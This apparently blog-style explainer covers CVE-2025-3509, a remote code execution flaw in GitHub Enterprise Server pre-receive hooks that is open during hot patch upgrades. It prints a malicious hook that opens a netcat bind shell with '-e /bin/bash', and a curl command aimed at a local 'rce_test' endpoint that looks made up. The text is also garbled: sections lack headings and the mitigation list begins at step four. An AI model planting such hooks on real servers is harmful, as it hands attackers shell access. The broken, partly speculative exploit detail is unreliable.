CVE-2025-3509 - Remote Code Execution in GitHub Enterprise Server via Pre-Receive Hooks

In early 2025, a serious vulnerability surfaced in GitHub Enterprise Server (GHES)—CVE-2025-3509—which could let attackers execute remote code on affected servers. The weakness involved the misuse of pre-receive hooks in a rare but real scenario during hot patch upgrades, where sensitive ports become temporarily available. This article explains how the bug works, who is at risk, and how you can protect your own systems.

What is a Pre-Receive Hook and Why Does It Matter?

A pre-receive hook is a script that runs on a Git repository before changes are accepted during a push. They are commonly used for enforcing policies in large organizations using GitHub Enterprise Server, for example rejecting pushes containing secrets or making sure commit messages follow a format.

But, as with any mechanism that allows the execution of custom code, there is risk, especially if wrappers around this code aren't strictly sandboxed.

The Heart of the Problem

CVE-2025-3509 takes advantage of how GHES allocates ports dynamically during certain maintenance operations, specifically when hot patch upgrades are happening. During this time, certain ports—normally restricted—may become temporarily available for non-privileged users.

An attacker who can configure a pre-receive hook (either a site admin or a specially privileged user) can inject code that listens on these open ports or issues requests targeting local services that are just exposed at this moment. With clever timing, they can escalate privileges or run arbitrary commands.

Why the Attack Window is Short

Here’s what makes this bug tricky: It’s only exploitable during hot patch upgrades, which doesn’t happen all the time. But enterprise admins regularly apply hot fixes to keep systems secure, so timing attacks with scheduled maintenance is not out of reach for an insider or a motivated attacker.

Site Administrators: These users can set up global pre-receive hooks for all repositories.

- Repo Maintainers: If pre-receive hooks are already enabled, users with permission can modify these hooks for individual repositories.

Exploiting CVE-2025-3509: An Example Attack

Note: The following code is for educational purposes only.

Suppose an attacker has permissions to modify or set up a pre-receive hook. Here’s what a malicious hook could look like:

#!/bin/bash
# This hook will run netcat to open a shell during a hot patch window
# Replace PORT_HERE with a guessed ephemeral port temporarily available

nc -l -p PORT_HERE -e /bin/bash &

During a hot patch, if the guessed port is temporarily exposed, the attacker's remote netcat client could connect and grab a shell as the GHES service user.

Or, if a local privileged service becomes exposed

# Test for exposed local services, target RCE endpoint if available
curl http://localhost:PORT_HERE/admin/rce_test --data 'cmd=/usr/bin/whoami'

Again, these windows are brief, but with scheduled upgrades, an attacker could automate the attempt to align with maintenance cycles.

Real World Impact

- Privilege Escalation: Malicious hooks can execute as the GitHub service user, possibly with elevated privileges.

GHES < 3.17

- Specifically, patches are available for 3.16.2, 3.15.6, 3.14.11, 3.13.14 (see release notes)

Monitor pre-receive hook changes and maintenance windows for unexpected activity.

4. If you can, disable hot patch upgrades and perform full restarts after patching—this removes the attack window.

References

- GitHub Security Advisory for CVE-2025-3509
- Official Release Notes
- Pre-Receive Hooks Documentation
- GitHub Bug Bounty Program

Summary

CVE-2025-3509 is a critical RCE flaw in GHES that can be triggered during narrow timeframes around hot patch upgrades, letting attackers with high enough privileges run arbitrary code on the server. This bug highlights the risks of dynamic port allocation during maintenance and the importance of strict privilege management and fast patching cycles. Upgrade your systems and review who is allowed to manage repository hooks!


*This vulnerability was responsibly reported through the GitHub Bug Bounty Program, highlighting once again the value of community-driven security research.*

Timeline

Published on: 04/17/2025 23:15:42 UTC
Last modified on: 04/21/2025 14:23:45 UTC